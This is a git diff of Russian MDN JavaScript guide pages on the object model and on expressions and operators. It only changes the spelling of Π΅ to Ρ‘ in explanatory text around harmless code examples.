+<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ,Β ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· конструкторов, Ρ‚Π΅Π»ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ для краткости, содСрТит вызов конструктора прародитСля. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ <code>id</code>Β Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>mac</code>Β ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β 5 вмСсто ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠΉ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹.</p>
-<p>Π’ зависимости ΠΎΡ‚ прилоТСния, лишниС увСличСния счСтчика ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½Ρ‹. Π’ случаС ΠΆΠ΅, ΠΊΠΎΠ³Π΄Π° Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π·Π° значСниями счСтчика Π²Π°ΠΆΠ΅Π½, ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ станСт Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄:</p>
+<p>Π’ зависимости ΠΎΡ‚ прилоТСния, лишниС увСличСния счётчика ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½Ρ‹. Π’ случаС ΠΆΠ΅, ΠΊΠΎΠ³Π΄Π° Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π·Π° значСниями счётчика Π²Π°ΠΆΠ΅Π½, ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ станСт Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄:</p>
<pre class="brush: js">function Employee (name, dept) {
this.name = name || "";
@@ -678,15 +678,15 @@ var mac = new Engineer("Wood, Mac");
}
</pre>
-<p>Когда Π²Ρ‹ создаСтС экзСмпляр <code>Employee</code> Π² качСствС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°, Π²Ρ‹ Π½Π΅ прСдоставляСтС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² конструктор Π·Π° Π½Π΅Π½Π°Π΄ΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ Π²Ρ‹ΡˆΠ΅ провСряСт Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° <code>name,</code>Β ΠΈ Π² случаС, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Β id ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Π½Π΅ присваиваСтся, Π°Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ глобального счСтчика <code>idCounter</code> Π½Π΅ увСличиваСтся. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, для получСния ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ <code>id</code> становится ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΒ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>name</code>Β ΠΏΡ€ΠΈ вызовС конструктора <code>Employee</code>. Π‘ внСсСнными Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅ измСнСниями, <code>mac.id</code> станСт равным Π΄ΠΎΠ»Π³ΠΎΠΆΠ΄Π°Π½Π½ΠΎΠΉ, Π·Π°Π²Π΅Ρ‚Π½ΠΎΠΉ Π΅Π΄ΠΈΠ½ΠΈΡ†Π΅.</p>
+<p>Когда Π²Ρ‹ создаётС экзСмпляр <code>Employee</code> Π² качСствС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°, Π²Ρ‹ Π½Π΅ прСдоставляСтС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² конструктор Π·Π° Π½Π΅Π½Π°Π΄ΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ Π²Ρ‹ΡˆΠ΅ провСряСт Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° <code>name,</code>Β ΠΈ Π² случаС, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Β id ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Π½Π΅ присваиваСтся, Π°Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ глобального счётчика <code>idCounter</code> Π½Π΅ увСличиваСтся. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, для получСния ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ <code>id</code> становится ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΒ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>name</code>Β ΠΏΡ€ΠΈ вызовС конструктора <code>Employee</code>. Π‘ внСсёнными Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅ измСнСниями, <code>mac.id</code> станСт равным Π΄ΠΎΠ»Π³ΠΎΠΆΠ΄Π°Π½Π½ΠΎΠΉ, Π·Π°Π²Π΅Ρ‚Π½ΠΎΠΉ Π΅Π΄ΠΈΠ½ΠΈΡ†Π΅.</p>
<h3 id="Никакого_мноТСствСнного_наслСдования">Никакого мноТСствСнного наслСдования</h3>
<p>НСкоторыС ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΡΠ·Ρ‹ΠΊΠΎΠ²Β ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ мноТСствСнного наслСдования. Когда ΠΎΠ΄ΠΈΠ½ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ мноТСства Π΄Ρ€ΡƒΠ³ΠΈΡ…, Π½Π΅ связанных Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Π’ JavaScript Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π½Π΅ прСдусмотрСно.</p>
-<p>Π’ JavaScript наслСдованиС свойств осущСствляСтся ΠΏΡƒΡ‚Π΅ΠΌ поиска Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ². Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ лишь СдинствСнный присвоСнный Π΅ΠΌΡƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ, JavaScript Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ наслСдованиС Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠΉ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
+<p>Π’ JavaScript наслСдованиС свойств осущСствляСтся ΠΏΡƒΡ‚Ρ‘ΠΌ поиска Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ². Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ лишь СдинствСнный присвоСнный Π΅ΠΌΡƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ, JavaScript Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ наслСдованиС Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠΉ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
-<p>ΠžΠ΄Π½Π°ΠΊΠΎΒ ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ Π² JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ любоС количСство влоТСнных конструкторов. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ, Ρ…ΠΎΡ‚ΡŒ ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ (отсутствиСм ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠΉ связанности)Β Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ мноТСствСнного наслСдования. Рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚:</p>
+<p>ΠžΠ΄Π½Π°ΠΊΠΎΒ ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ Π² JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ любоС количСство влоТСнных конструкторов. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ, Ρ…ΠΎΡ‚ΡŒ ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ (отсутствиСм ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠΉ связанности)Β Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ мноТСствСнного наслСдования. Рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚:</p>
<pre class="brush: js">function Hobbyist (hobby) {
this.hobby = hobby || "scuba";
diff --git a/files/ru/web/javascript/guide/expressions_and_operators/index.html b/files/ru/web/javascript/guide/expressions_and_operators/index.html
index dea3cef0d6..046e83e9fb 100644
--- a/files/ru/web/javascript/guide/expressions_and_operators/index.html
+++ b/files/ru/web/javascript/guide/expressions_and_operators/index.html
@@ -59,14 +59,14 @@ translation_of: Web/JavaScript/Guide/Expressions_and_Operators
<p>Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ присваивания ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Ρƒ слСва ΠΎΡ‚ <a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° присваивания</a> (Π·Π½Π°ΠΊ "=") устанавливаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ , ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ бСрётся ΠΈΠ· ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π°. ΠžΡΠ½ΠΎΠ²Π½Ρ‹ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ присваивания являСтся  =, ΠΎΠ½ присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π° ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Ρƒ, находящСмуся слСва. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ x = y ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ x присваиваСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ y.</p>
-<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ составныС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ присваивания, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для сокращСнного прСдставлСния опСраций, описанных в ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅:</p>
+<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ составныС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ присваивания, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для сокращённого прСдставлСния опСраций, описанных в ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅:</p>
<table class="standard-table">
<caption>Бписок ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² присваивания</caption>
<tbody>
<tr>
<th>Имя</th>
- <th>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</th>
+ <th>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</th>
<th>Бмысл</th>
</tr>
<tr>
@@ -491,7 +491,7 @@ var n3 = !"Cat"; // !t Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ false
<li><code>true</code> || <em>anything - </em>сокращСниС с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ true.</li>
</ul>
-<p>ΠŸΡ€Π°Π²ΠΈΠ»Π° Π»ΠΎΠ³ΠΈΠΊΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ вычислСния всСгда ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒΒ "<em>anything"</em> прСдставлСнных Π²Ρ‹ΡˆΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π΅ вычисляСтся, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ удаСтся ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Ρ… ΠΏΠΎΠ±ΠΎΡ‡Π½Ρ‹Ρ… эффСктов вычислСния Π΄Π°Π½Π½ΠΎΠΉ части.</p>
+<p>ΠŸΡ€Π°Π²ΠΈΠ»Π° Π»ΠΎΠ³ΠΈΠΊΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ вычислСния всСгда ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒΒ "<em>anything"</em> прСдставлСнных Π²Ρ‹ΡˆΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π΅ вычисляСтся, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ удаётся ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Ρ… ΠΏΠΎΠ±ΠΎΡ‡Π½Ρ‹Ρ… эффСктов вычислСния Π΄Π°Π½Π½ΠΎΠΉ части.</p>
<h3 id="Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹">Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹</h3>
@@ -499,7 +499,7 @@ var n3 = !"Cat"; // !t Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ false
<pre class="brush: js">console.log("my " + "string"); Β // Π² консоли вывСдСтся строка  "my string".</pre>
-<p>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания += Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для объСдинСния (ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΠΈ) строк:</p>
+<p>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания += Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для объСдинСния (ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΠΈ) строк:</p>
<pre class="brush: js">varΒ  mystring = "alpha";Β  mystring += "bet"; // получаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "alphabet" ΠΈ присваиваСтся mystring.
</pre>
@@ -548,7 +548,7 @@ delete property; // допустимо Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ with
<p>Π³Π΄Π΅Β <code>objectName</code> прСдставляСт собой имя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, <code>property</code> - свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π°Β <code>index</code> - Ρ†Π΅Π»ΠΎΠ΅ число, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π½Π° ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ (Π½ΠΎΠΌΠ΅Ρ€ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ)Β  элСмСнта Π² массивС.</p>
-<p>Π§Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования позволяСт ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½ΠΎ допускаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p>
+<p>Π§Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования позволяСт ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½ΠΎ допускаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>delete</code> для удалСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Ρ… нСявно, Π½ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>var</code>.</p>
@@ -569,7 +569,7 @@ delete myobj; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true (ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ объС
<p>Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ элСмСнта массива Π½Π΅ влияСт Π½Π° Π΄Π»ΠΈΠ½Ρƒ массива. НапримСр, Ссли Π²Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅Β <code>a[3]</code>, элСмСнт <code>a[4]</code> останСтся <code>a[4],</code> <code>a[3]</code> станСт undefined.</p>
-<p>Когда элСмСнт массива удаляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>delete</code>, Ρ‚ΠΎ ΠΈΠ· массива удаляСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ элСмСнт <code>trees[3]</code> ΡƒΠ΄Π°Π»Π΅Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>delete</code>. Однако, элСмСнт <code>trees[3]</code> остаСтся адрСсуСмым ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>undefined</code>.</p>
+<p>Когда элСмСнт массива удаляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>delete</code>, Ρ‚ΠΎ ΠΈΠ· массива удаляСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ элСмСнт <code>trees[3]</code> ΡƒΠ΄Π°Π»Ρ‘Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>delete</code>. Однако, элСмСнт <code>trees[3]</code> остаётся адрСсуСмым ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>undefined</code>.</p>
<pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
delete trees[3];
@@ -578,7 +578,7 @@ if (3 in trees) {
}
</pre>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнт оставался Π² массивС, Π½ΠΎ ΠΈΠΌΠ΅Π» Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β undefined, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>undefined</code> вмСсто ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>delete</code>. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ элСмСнту <code>trees[3]</code> присвоСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>undefined</code>, Π½ΠΎ элСмСнт ΠΏΡ€ΠΈ этом остаСтся Π² массивС:</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнт оставался Π² массивС, Π½ΠΎ ΠΈΠΌΠ΅Π» Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β undefined, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>undefined</code> вмСсто ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>delete</code>. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ элСмСнту <code>trees[3]</code> присвоСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>undefined</code>, Π½ΠΎ элСмСнт ΠΏΡ€ΠΈ этом остаётся Π² массивС:</p>
<pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
trees[3] = undefined;
@@ -665,7 +665,7 @@ void expression
<pre class="brush: html">&lt;A HREF="javascript:void(0)"&gt;НаТмитС здСсь, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ&lt;/A&gt;
</pre>
